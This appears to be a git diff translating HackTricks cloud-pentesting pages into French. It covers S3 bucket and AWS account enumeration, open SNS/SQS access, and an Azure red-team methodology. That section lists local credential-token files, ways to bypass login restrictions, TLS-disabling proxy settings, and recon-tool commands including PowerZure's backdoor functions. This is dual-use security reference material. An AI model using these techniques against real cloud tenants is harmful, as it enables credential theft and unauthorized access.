 #### Loot S3 Buckets
 
-Given S3 open buckets, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) can automatically **search for interesting information**.
+Étant donné des buckets S3 ouverts, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) peut automatiquement **chercher des informations intéressantes**.
 
 ### Find the Region
 
-You can find all the supported regions by AWS in [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html)
+Vous pouvez trouver toutes les régions prises en charge par AWS dans [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html)
 
 #### By DNS
 
-You can get the region of a bucket with a **`dig`** and **`nslookup`** by doing a **DNS request of the discovered IP**:
-
+Vous pouvez obtenir la région d'un bucket avec un **`dig`** et **`nslookup`** en effectuant une **demande DNS de l'IP découverte** :
 ```bash
 dig flaws.cloud
 ;; ANSWER SECTION:
@@ -96,31 +95,29 @@ nslookup 52.218.192.11
 Non-authoritative answer:
 11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com.
 ```
+Vérifiez que le domaine résolu contient le mot "website".\
+Vous pouvez accéder au site web statique en allant sur : `flaws.cloud.s3-website-us-west-2.amazonaws.com`\
+ou vous pouvez accéder au bucket en visitant : `flaws.cloud.s3-us-west-2.amazonaws.com`
 
-Check that the resolved domain have the word "website".\
-You can access the static website going to: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\
-or you can access the bucket visiting: `flaws.cloud.s3-us-west-2.amazonaws.com`
+#### En essayant
 
-#### By Trying
-
-If you try to access a bucket, but in the **domain name you specify another region** (for example the bucket is in `bucket.s3.amazonaws.com` but you try to access `bucket.s3-website-us-west-2.amazonaws.com`, then you will be **indicated to the correct location**:
+Si vous essayez d'accéder à un bucket, mais dans le **nom de domaine vous spécifiez une autre région** (par exemple, le bucket est dans `bucket.s3.amazonaws.com` mais vous essayez d'accéder à `bucket.s3-website-us-west-2.amazonaws.com`, alors vous serez **indiqué vers l'emplacement correct** :
 
 ![](<../../../images/image (106).png>)
 
-### Enumerating the bucket
+### Énumérer le bucket
 
-To test the openness of the bucket a user can just enter the URL in their web browser. A private bucket will respond with "Access Denied". A public bucket will list the first 1,000 objects that have been stored.
+Pour tester l'ouverture du bucket, un utilisateur peut simplement entrer l'URL dans son navigateur web. Un bucket privé répondra par "Accès refusé". Un bucket public listera les 1 000 premiers objets qui ont été stockés.
 
-Open to everyone:
+Ouvert à tous :
 
 ![](<../../../images/image (201).png>)
 
-Private:
+Privé :
 
 ![](<../../../images/image (83).png>)
 
-You can also check this with the cli:
-
+Vous pouvez également vérifier cela avec le cli :
 ```bash
 #Use --no-sign-request for check Everyones permissions
 #Use --profile <PROFILE_NAME> to indicate the AWS profile(keys) that youwant to use: Check for "Any Authenticated AWS User" permissions
@@ -128,22 +125,18 @@ You can also check this with the cli:
 #Opcionally you can select the region if you now it
 aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile <PROFILE_NAME>] [ --recursive] [--region us-west-2]
 ```
+Si le bucket n'a pas de nom de domaine, lors de la tentative de l'énumérer, **mettez uniquement le nom du bucket** et non l'ensemble du domaine AWSs3. Exemple : `s3://<BUCKETNAME>`
 
-If the bucket doesn't have a domain name, when trying to enumerate it, **only put the bucket name** and not the whole AWSs3 domain. Example: `s3://<BUCKETNAME>`
-
-### Public URL template
-
+### Modèle d'URL publique
 ```
 https://{user_provided}.s3.amazonaws.com
 ```
+### Obtenir l'ID de compte à partir d'un Bucket public
 
-### Get Account ID from public Bucket
-
-It's possible to determine an AWS account by taking advantage of the new **`S3:ResourceAccount`** **Policy Condition Key**. This condition **restricts access based on the S3 bucket** an account is in (other account-based policies restrict based on the account the requesting principal is in).\
-And because the policy can contain **wildcards** it's possible to find the account number **just one number at a time**.
-
-This tool automates the process:
+Il est possible de déterminer un compte AWS en tirant parti de la nouvelle **`S3:ResourceAccount`** **Clé de Condition de Politique**. Cette condition **restreint l'accès en fonction du bucket S3** dans lequel se trouve un compte (d'autres politiques basées sur le compte restreignent en fonction du compte dans lequel se trouve le principal demandeur).\
+Et parce que la politique peut contenir des **caractères génériques**, il est possible de trouver le numéro de compte **un chiffre à la fois**.
 
+Cet outil automatise le processus :
 ```bash
 # Installation
 pipx install s3-account-search
@@ -153,13 +146,11 @@ s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket
 # With an object
 s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext
 ```
+Cette technique fonctionne également avec les URL de l'API Gateway, les URL Lambda, les ensembles de données Data Exchange et même pour obtenir la valeur des tags (si vous connaissez la clé du tag). Vous pouvez trouver plus d'informations dans la [**recherche originale**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) et l'outil [**conditional-love**](https://github.com/plerionhq/conditional-love/) pour automatiser cette exploitation.
 
-This technique also works with API Gateway URLs, Lambda URLs, Data Exchange data sets and even to get the value of tags (if you know the tag key). You can find more information in the [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) and the tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) to automate this exploitation.
-
-### Confirming a bucket belongs to an AWS account
-
-As explained in [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**, if you have permissions to list a bucket** it’s possible to confirm an accountID the bucket belongs to by sending a request like:
+### Confirmer qu'un bucket appartient à un compte AWS
 
+Comme expliqué dans [**cet article de blog**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**, si vous avez les permissions pour lister un bucket** il est possible de confirmer un accountID auquel appartient le bucket en envoyant une requête comme :
 ```bash
 curl -X GET "[bucketname].amazonaws.com/" \
 -H "x-amz-expected-bucket-owner: [correct-account-id]"
@@ -167,41 +158,34 @@ curl -X GET "[bucketname].amazonaws.com/" \
 <?xml version="1.0" encoding="UTF-8"?>
 <ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/">...</ListBucketResult>
 ```
+Si l'erreur est un "Accès refusé", cela signifie que l'ID de compte était incorrect.
 
-If the error is an “Access Denied” it means that the account ID was wrong.
-
-### Used Emails as root account enumeration
-
-As explained in [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), it's possible to check if an email address is related to any AWS account by **trying to grant an email permissions** over a S3 bucket via ACLs. If this doesn't trigger an error, it means that the email is a root user of some AWS account:
+### Utilisation des e-mails comme énumération de compte root
 
+Comme expliqué dans [**cet article de blog**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), il est possible de vérifier si une adresse e-mail est liée à un compte AWS en **essayant d'accorder des permissions à un e-mail** sur un bucket S3 via des ACL. Si cela ne déclenche pas d'erreur, cela signifie que l'e-mail est un utilisateur root de certains comptes AWS :
 ```python
 s3_client.put_bucket_acl(
-    Bucket=bucket_name,
-    AccessControlPolicy={
-        'Grants': [
-            {
-                'Grantee': {
-                    'EmailAddress': 'some@emailtotest.com',
-                    'Type': 'AmazonCustomerByEmail',
-                },
-                'Permission': 'READ'
-            },
-        ],
-        'Owner': {
-            'DisplayName': 'Whatever',
-            'ID': 'c3d78ab5093a9ab8a5184de715d409c2ab5a0e2da66f08c2f6cc5c0bdeadbeef'
-        }
-    }
+Bucket=bucket_name,
+AccessControlPolicy={
+'Grants': [
+{
+'Grantee': {
+'EmailAddress': 'some@emailtotest.com',
+'Type': 'AmazonCustomerByEmail',
+},
+'Permission': 'READ'
+},
+],
+'Owner': {
+'DisplayName': 'Whatever',
+'ID': 'c3d78ab5093a9ab8a5184de715d409c2ab5a0e2da66f08c2f6cc5c0bdeadbeef'
+}
+}
 )
 ```
-
-## References
+## Références
 
 - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
 - [https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/](https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md
index 7978eff36..0945cee0c 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md
@@ -1,25 +1,21 @@
-# AWS - SNS Unauthenticated Enum
+# AWS - SNS Enum non authentifié
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ## SNS
 
-For more information about SNS check:
+Pour plus d'informations sur SNS, consultez :
 
 {{#ref}}
 ../aws-services/aws-sns-enum.md
 {{#endref}}
 
-### Open to All
+### Ouvert à Tous
 
-When you configure a SNS topic from the web console it's possible to indicate that **Everyone can publish and subscribe** to the topic:
+Lorsque vous configurez un sujet SNS depuis la console web, il est possible d'indiquer que **tout le monde peut publier et s'abonner** au sujet :
 
 <figure><img src="../../../images/image (212).png" alt=""><figcaption></figcaption></figure>
 
-So if you **find the ARN of topics** inside the account (or brute forcing potential names for topics) you can **check** if you can **publish** or **subscribe** to **them**.
+Donc, si vous **trouvez l'ARN des sujets** à l'intérieur du compte (ou en forçant des noms potentiels pour les sujets), vous pouvez **vérifier** si vous pouvez **publier** ou **vous abonner** à **eux**.
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md
index a5006a63b..167f2c654 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md
@@ -4,24 +4,18 @@
 
 ## SQS
 
-For more information about SQS check:
+Pour plus d'informations sur SQS, consultez :
 
 {{#ref}}
 ../aws-services/aws-sqs-and-sns-enum.md
 {{#endref}}
 
-### Public URL template
-
+### Modèle d'URL public
 ```
 https://sqs.[region].amazonaws.com/[account-id]/{user_provided}
 ```
+### Vérifier les autorisations
 
-### Check Permissions
-
-It's possible to misconfigure a SQS queue policy and grant permissions to everyone in AWS to send and receive messages, so if you get the ARN of queues try if you can access them.
+Il est possible de mal configurer une politique de file d'attente SQS et d'accorder des autorisations à tout le monde dans AWS pour envoyer et recevoir des messages, donc si vous obtenez l'ARN des files d'attente, essayez de voir si vous pouvez y accéder.
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/azure-security/README.md b/src/pentesting-cloud/azure-security/README.md
index 9d2de65fc..fd81be033 100644
--- a/src/pentesting-cloud/azure-security/README.md
+++ b/src/pentesting-cloud/azure-security/README.md
@@ -2,86 +2,85 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Basic Information
+## Informations de base
 
 {{#ref}}
 az-basic-information/
 {{#endref}}
 
-## Azure Pentester/Red Team Methodology
+## Méthodologie de Pentester/Red Team Azure
 
-In order to audit an AZURE environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal Azure services and **external services** connected.
+Pour auditer un environnement AZURE, il est très important de savoir : quels **services sont utilisés**, ce qui est **exposé**, qui a **accès** à quoi, et comment les services internes Azure et les **services externes** sont connectés.
 
-From a Red Team point of view, the **first step to compromise an Azure environment** is to manage to obtain some **credentials** for Azure AD. Here you have some ideas on how to do that:
+Du point de vue d'une Red Team, la **première étape pour compromettre un environnement Azure** est d'obtenir des **identifiants** pour Azure AD. Voici quelques idées sur comment y parvenir :
 
-- **Leaks** in github (or similar) - OSINT
-- **Social** Engineering
-- **Password** reuse (password leaks)
-- Vulnerabilities in Azure-Hosted Applications
-  - [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) with access to metadata endpoint
-  - **Local File Read**
-    - `/home/USERNAME/.azure`
-    - `C:\Users\USERNAME\.azure`
-    - The file **`accessTokens.json`** in `az cli` before 2.30 - Jan2022 - stored **access tokens in clear text**
-    - The file **`azureProfile.json`** contains **info** about logged user.
-    - **`az logout`** removes the token.
-    - Older versions of **`Az PowerShell`** stored **access tokens** in **clear** text in **`TokenCache.dat`**. It also stores **ServicePrincipalSecret** in **clear**-text in **`AzureRmContext.json`**. The cmdlet **`Save-AzContext`** can be used to **store** **tokens**.\
-      Use `Disconnect-AzAccount` to remove them.
-- 3rd parties **breached**
-- **Internal** Employee
-- [**Common Phishing**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (credentials or Oauth App)
-  - [Device Code Authentication Phishing](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md)
-- [Azure **Password Spraying**](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md)
+- **Fuites** sur github (ou similaire) - OSINT
+- **Ingénierie** Sociale
+- Réutilisation de **mot de passe** (fuites de mots de passe)
+- Vulnérabilités dans les applications hébergées sur Azure
+- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) avec accès au point de terminaison des métadonnées
+- **Lecture de fichiers locaux**
+- `/home/NOM_UTILISATEUR/.azure`
+- `C:\Users\NOM_UTILISATEUR\.azure`
+- Le fichier **`accessTokens.json`** dans `az cli` avant 2.30 - Jan2022 - stockait les **jetons d'accès en texte clair**
+- Le fichier **`azureProfile.json`** contient des **informations** sur l'utilisateur connecté.
+- **`az logout`** supprime le jeton.
+- Les anciennes versions de **`Az PowerShell`** stockaient les **jetons d'accès** en **texte clair** dans **`TokenCache.dat`**. Il stocke également le **ServicePrincipalSecret** en **texte clair** dans **`AzureRmContext.json`**. La cmdlet **`Save-AzContext`** peut être utilisée pour **stocker** des **jetons**.\
+Utilisez `Disconnect-AzAccount` pour les supprimer.
+- Tiers **violés**
+- **Employé** interne
+- [**Phishing commun**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (identifiants ou application Oauth)
+- [Phishing par code de dispositif](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md)
+- [**Password Spraying** Azure](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md)
 
-Even if you **haven't compromised any user** inside the Azure tenant you are attacking, you can **gather some information** from it:
+Même si vous **n'avez compromis aucun utilisateur** à l'intérieur du locataire Azure que vous attaquez, vous pouvez **rassembler des informations** à partir de celui-ci :
 
 {{#ref}}
 az-unauthenticated-enum-and-initial-entry/
 {{#endref}}
 
 > [!NOTE]
-> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration:
+> Après avoir réussi à obtenir des identifiants, vous devez savoir **à qui appartiennent ces identifiants**, et **à quoi ils ont accès**, donc vous devez effectuer une énumération de base :
 
-## Basic Enumeration
+## Énumération de base
 
 > [!NOTE]
-> Remember that the **noisiest** part of the enumeration is the **login**, not the enumeration itself.
+> Rappelez-vous que la partie **la plus bruyante** de l'énumération est le **login**, pas l'énumération elle-même.
 
 ### SSRF
 
-If you found a SSRF in a machine inside Azure check this page for tricks:
+Si vous avez trouvé un SSRF sur une machine à l'intérieur d'Azure, consultez cette page pour des astuces :
 
 {{#ref}}
 https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
 {{#endref}}
 
-### Bypass Login Conditions
+### Contournement des conditions de connexion
 
 <figure><img src="../../images/image (268).png" alt=""><figcaption></figcaption></figure>
 
-In cases where you have some valid credentials but you cannot login, these are some common protections that could be in place:
+Dans les cas où vous avez des identifiants valides mais que vous ne pouvez pas vous connecter, voici quelques protections courantes qui pourraient être en place :
 
-- **IP whitelisting** -- You need to compromise a valid IP
-- **Geo restrictions** -- Find where the user lives or where are the offices of the company and get a IP from the same city (or contry at least)
-- **Browser** -- Maybe only a browser from certain OS (Windows, Linux, Mac, Android, iOS) is allowed. Find out which OS the victim/company uses.
-- You can also try to **compromise Service Principal credentials** as they usually are less limited and its login is less reviewed
+- **Liste blanche d'IP** -- Vous devez compromettre une IP valide
+- **Restrictions géographiques** -- Trouvez où vit l'utilisateur ou où se trouvent les bureaux de l'entreprise et obtenez une IP de la même ville (ou pays au moins)
+- **Navigateur** -- Peut-être qu'un navigateur d'un certain OS (Windows, Linux, Mac, Android, iOS) est autorisé. Découvrez quel OS la victime/l'entreprise utilise.
+- Vous pouvez également essayer de **compromettre les identifiants de Service Principal** car ils sont généralement moins limités et leur connexion est moins examinée
 
-After bypassing it, you might be able to get back to your initial setup and you will still have access.
+Après avoir contourné cela, vous pourriez être en mesure de revenir à votre configuration initiale et vous aurez toujours accès.
 
-### Subdomain Takeover
+### Prise de contrôle de sous-domaine
 
 - [https://godiego.co/posts/STO-Azure/](https://godiego.co/posts/STO-Azure/)
 
 ### Whoami
 
 > [!CAUTION]
-> Learn **how to install** az cli, AzureAD and Az PowerShell in the [**Az - Entra ID**](az-services/az-azuread.md) section.
+> Apprenez **comment installer** az cli, AzureAD et Az PowerShell dans la section [**Az - Entra ID**](az-services/az-azuread.md).
 
-One of the first things you need to know is **who you are** (in which environment you are):
+L'une des premières choses que vous devez savoir est **qui vous êtes** (dans quel environnement vous êtes) :
 
 {{#tabs }}
 {{#tab name="az cli" }}
-
 ```bash
 az account list
 az account tenant list # Current tenant info
@@ -90,22 +89,18 @@ az ad signed-in-user show # Current signed-in user
 az ad signed-in-user list-owned-objects # Get owned objects by current user
 az account management-group list #Not allowed by default
 ```
-
 {{#endtab }}
 
 {{#tab name="AzureAD" }}
-
 ```powershell
 #Get the current session state
 Get-AzureADCurrentSessionInfo
 #Get details of the current tenant
 Get-AzureADTenantDetail
 ```
-
 {{#endtab }}
 
 {{#tab name="Az PowerShell" }}
-
 ```powershell
 # Get the information about the current context (Account, Tenant, Subscription etc.)
 Get-AzContext
@@ -121,53 +116,49 @@ Get-AzResource
 Get-AzRoleAssignment # For all users
 Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user
 ```
-
 {{#endtab }}
 {{#endtabs }}
 
 > [!CAUTION]
-> Oone of the most important commands to enumerate Azure is **`Get-AzResource`** from Az PowerShell as it lets you **know the resources your current user has visibility over**.
+> L'une des commandes les plus importantes pour énumérer Azure est **`Get-AzResource`** d'Az PowerShell car elle vous permet de **savoir quels ressources votre utilisateur actuel peut voir**.
 >
-> You can get the same info in the **web console** going to [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) or searching for "All resources"
+> Vous pouvez obtenir les mêmes informations dans la **console web** en allant sur [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) ou en recherchant "Toutes les ressources"
 
-### ENtra ID Enumeration
+### Énumération de l'ID Entra
 
-By default, any user should have **enough permissions to enumerate** things such us, users, groups, roles, service principals... (check [default AzureAD permissions](az-basic-information/#default-user-permissions)).\
-You can find here a guide:
+Par défaut, tout utilisateur devrait avoir **suffisamment de permissions pour énumérer** des éléments tels que, utilisateurs, groupes, rôles, principaux de service... (voir [permissions par défaut d'AzureAD](az-basic-information/#default-user-permissions)).\
+Vous pouvez trouver ici un guide :
 
 {{#ref}}
 az-services/az-azuread.md
 {{#endref}}
 
 > [!NOTE]
-> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\
-> In the following section you can check some ways to **enumerate some common services.**
+> Maintenant que vous **avez des informations sur vos identifiants** (et si vous êtes une équipe rouge, espérons que vous **n'avez pas été détecté**). Il est temps de déterminer quels services sont utilisés dans l'environnement.\
+> Dans la section suivante, vous pouvez vérifier quelques façons d'**énumérer certains services courants.**
 
 ## App Service SCM
 
-Kudu console to log in to the App Service 'container'.
+Console Kudu pour se connecter au 'conteneur' de l'App Service.
 
 ## Webshell
 
-Use portal.azure.com and select the shell, or use shell.azure.com, for a bash or powershell. The 'disk' of this shell are stored as an image file in a storage-account.
+Utilisez portal.azure.com et sélectionnez le shell, ou utilisez shell.azure.com, pour un bash ou powershell. Le 'disque' de ce shell est stocké sous forme de fichier image dans un compte de stockage.
 
 ## Azure DevOps
 
-Azure DevOps is separate from Azure. It has repositories, pipelines (yaml or release), boards, wiki, and more. Variable Groups are used to store variable values and secrets.
+Azure DevOps est séparé d'Azure. Il a des dépôts, des pipelines (yaml ou release), des tableaux, un wiki, et plus encore. Les groupes de variables sont utilisés pour stocker des valeurs de variables et des secrets.
 
 ## Debug | MitM az cli
 
-Using the parameter **`--debug`** it's possible to see all the requests the tool **`az`** is sending:
-
+En utilisant le paramètre **`--debug`**, il est possible de voir toutes les requêtes que l'outil **`az`** envoie :
 ```bash
 az account management-group list --output table --debug
 ```
-
-In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can do:
+Pour effectuer un **MitM** sur l'outil et **vérifier toutes les requêtes** qu'il envoie manuellement, vous pouvez faire :
 
 {{#tabs }}
 {{#tab name="Bash" }}
-
 ```bash
 export ADAL_PYTHON_SSL_NO_VERIFY=1
 export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
@@ -180,25 +171,21 @@ export HTTP_PROXY="http://127.0.0.1:8080"
 openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM
 export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem
 ```
-
 {{#endtab }}
 
 {{#tab name="PS" }}
-
 ```bash
 $env:ADAL_PYTHON_SSL_NO_VERIFY=1
 $env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
 $env:HTTPS_PROXY="http://127.0.0.1:8080"
 $env:HTTP_PROXY="http://127.0.0.1:8080"
 ```
-
 {{#endtab }}
 {{#endtabs }}
 
-## Automated Recon Tools
+## Outils de Reconnaissance Automatisés
 
 ### [**ROADRecon**](https://github.com/dirkjanm/ROADtools)
-
 ```powershell
 cd ROADTools
 pipenv shell
@@ -206,9 +193,7 @@ roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!"
 roadrecon gather
 roadrecon gui
 ```
-
 ### [Monkey365](https://github.com/silverhack/monkey365)
-
 ```powershell
 Import-Module monkey365
 Get-Help Invoke-Monkey365
@@ -216,9 +201,7 @@ Get-Help Invoke-Monkey365 -Detailed
 Invoke-Monkey365 -IncludeEntraID -ExportTo HTML -Verbose -Debug -InformationAction Continue
 Invoke-Monkey365 - Instance Azure -Analysis All -ExportTo HTML
 ```
-
 ### [**Stormspotter**](https://github.com/Azure/Stormspotter)
-
 ```powershell
 # Start Backend
 cd stormspotter\backend\
@@ -236,9 +219,7 @@ az login -u test@corp.onmicrosoft.com -p Welcome2022!
 python stormspotter\stormcollector\sscollector.pyz cli
 # This will generate a .zip file to upload in the frontend (127.0.0.1:9091)
 ```
-
 ### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound)
-
 ```powershell
 # You need to use the Az PowerShell and Azure AD modules:
 $passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
@@ -294,9 +275,7 @@ MATCH  p=(m:User)-[r:AZResetPassword|AZOwns|AZUserAccessAdministrator|AZContribu
 ## All Azure AD Groups that are synchronized with On-Premise AD
 MATCH (n:Group) WHERE n.objectid CONTAINS 'S-1-5' AND n.azsyncid IS NOT NULL RETURN n
 ```
-
 ### [Azucar](https://github.com/nccgroup/azucar)
-
 ```bash
 # You should use an account with at least read-permission on the assets you want to access
 git clone https://github.com/nccgroup/azucar.git
@@ -309,17 +288,13 @@ PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials
 # resolve the TenantID for an specific username
 PS> .\Azucar.ps1 -ResolveTenantUserName user@company.com
 ```
-
 ### [**MicroBurst**](https://github.com/NetSPI/MicroBurst)
-
 ```
 Import-Module .\MicroBurst.psm1
 Import-Module .\Get-AzureDomainInfo.ps1
 Get-AzureDomainInfo -folder MicroBurst -Verbose
 ```
-
 ### [**PowerZure**](https://github.com/hausec/PowerZure)
-
 ```powershell
 Connect-AzAccount
 ipmo C:\Path\To\Powerzure.psd1
@@ -340,9 +315,7 @@ $ Set-Role -Role Contributor -User test@contoso.com -Resource Win10VMTest
 # Administrator
 $ Create-Backdoor, Execute-Backdoor
 ```
-
 ### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner)
-
 ```powershell
 
 #Get-GraphTokens
@@ -398,9 +371,4 @@ Get-TenantID -Domain
 #Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams.
 Invoke-GraphRunner -Tokens $tokens
 ```
-
 {{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/azure-security/az-basic-information/README.md b/src/pentesting-cloud/azure-security/az-basic-information/README.md
index a600b66dc..5c60cba5e 100644
--- a/src/pentesting-cloud/azure-security/az-basic-information/README.md
+++ b/src/pentesting-cloud/azure-security/az-basic-information/README.md
@@ -1,376 +1,372 @@
-# Az - Basic Information
+# Az - Informations de base
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Organization Hierarchy
+## Hiérarchie de l'organisation
 
 <figure><img src="https://lh7-rt.googleusercontent.com/slidesz/AGV_vUcVrh1BpuQXN7RzGqoxrn-4Nm_sjdJU-dDTvshloB7UMQnN1mtH9N94zNiPCzOYAqE9EsJqlboZOj47tQsQktjxszpKvIDPZLs9rgyiObcZCvl7N0ZWztshR0ZddyBYZIAwPIkrEQ=s2048?key=l3Eei079oPmVJuh8lxQYxxrB" alt=""><figcaption><p><a href="https://www.tunecom.be/stg_ba12f/wp-content/uploads/2020/01/VDC-Governance-ManagementGroups-1536x716.png">https://www.tunecom.be/stg_ba12f/wp-content/uploads/2020/01/VDC-Governance-ManagementGroups-1536x716.png</a></p></figcaption></figure>
 
-### Management Groups
+### Groupes de gestion
 
-- It can contain **other management groups or subscriptions**.
-- This allows to **apply governance controls** such as RBAC and Azure Policy once at the management group level and have them **inherited** by all the subscriptions in the group.
-- **10,000 management** groups can be supported in a single directory.
-- A management group tree can support **up to six levels of depth**. This limit doesn’t include the root level or the subscription level.
-- Each management group and subscription can support **only one parent**.
-- Even if several management groups can be created **there is only 1 root management group**.
-  - The root management group **contains** all the **other management groups and subscriptions** and **cannot be moved or deleted**.
-- All subscriptions within a single management group must trust the **same Entra ID tenant.**
+- Il peut contenir **d'autres groupes de gestion ou abonnements**.
+- Cela permet d'**appliquer des contrôles de gouvernance** tels que RBAC et Azure Policy une fois au niveau du groupe de gestion et de les **hériter** par tous les abonnements dans le groupe.
+- **10 000 groupes de gestion** peuvent être pris en charge dans un seul annuaire.
+- Un arbre de groupes de gestion peut supporter **jusqu'à six niveaux de profondeur**. Cette limite n'inclut pas le niveau racine ou le niveau d'abonnement.
+- Chaque groupe de gestion et abonnement peut supporter **uniquement un parent**.
+- Même si plusieurs groupes de gestion peuvent être créés, **il n'y a qu'un seul groupe de gestion racine**.
+- Le groupe de gestion racine **contient** tous les **autres groupes de gestion et abonnements** et **ne peut pas être déplacé ou supprimé**.
+- Tous les abonnements au sein d'un seul groupe de gestion doivent faire confiance au **même locataire Entra ID.**
 
 <figure><img src="../../../images/image (147).png" alt=""><figcaption><p><a href="https://td-mainsite-cdn.tutorialsdojo.com/wp-content/uploads/2023/02/managementgroups-768x474.png">https://td-mainsite-cdn.tutorialsdojo.com/wp-content/uploads/2023/02/managementgroups-768x474.png</a></p></figcaption></figure>
 
-### Azure Subscriptions
+### Abonnements Azure
 
-- It’s another **logical container where resources** (VMs, DBs…) can be run and will be billed.
-- Its **parent** is always a **management group** (and it can be the root management group) as subscriptions cannot contain other subscriptions.
-- It **trust only one Entra ID** directory
-- **Permissions** applied at the subscription level (or any of its parents) are **inherited** to all the resources inside the subscription
+- C'est un autre **conteneur logique où les ressources** (VM, DB…) peuvent être exécutées et seront facturées.
+- Son **parent** est toujours un **groupe de gestion** (et cela peut être le groupe de gestion racine) car les abonnements ne peuvent pas contenir d'autres abonnements.
+- Il **fait confiance à un seul annuaire Entra ID**
+- Les **permissions** appliquées au niveau de l'abonnement (ou à l'un de ses parents) sont **héritées** par toutes les ressources à l'intérieur de l'abonnement.
 
-### Resource Groups
+### Groupes de ressources
 
-[From the docs:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) A resource group is a **container** that holds **related resources** for an Azure solution. The resource group can include all the resources for the solution, or only those **resources that you want to manage as a group**. Generally, add **resources** that share the **same lifecycle** to the same resource group so you can easily deploy, update, and delete them as a group.
+[Des docs :](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) Un groupe de ressources est un **conteneur** qui contient des **ressources liées** pour une solution Azure. Le groupe de ressources peut inclure toutes les ressources pour la solution, ou seulement celles **que vous souhaitez gérer en tant que groupe**. En général, ajoutez des **ressources** qui partagent le **même cycle de vie** au même groupe de ressources afin que vous puissiez facilement les déployer, les mettre à jour et les supprimer en tant que groupe.
 
-All the **resources** must be **inside a resource group** and can belong only to a group and if a resource group is deleted, all the resources inside it are also deleted.
+Toutes les **ressources** doivent être **dans un groupe de ressources** et ne peuvent appartenir qu'à un seul groupe et si un groupe de ressources est supprimé, toutes les ressources à l'intérieur sont également supprimées.
 
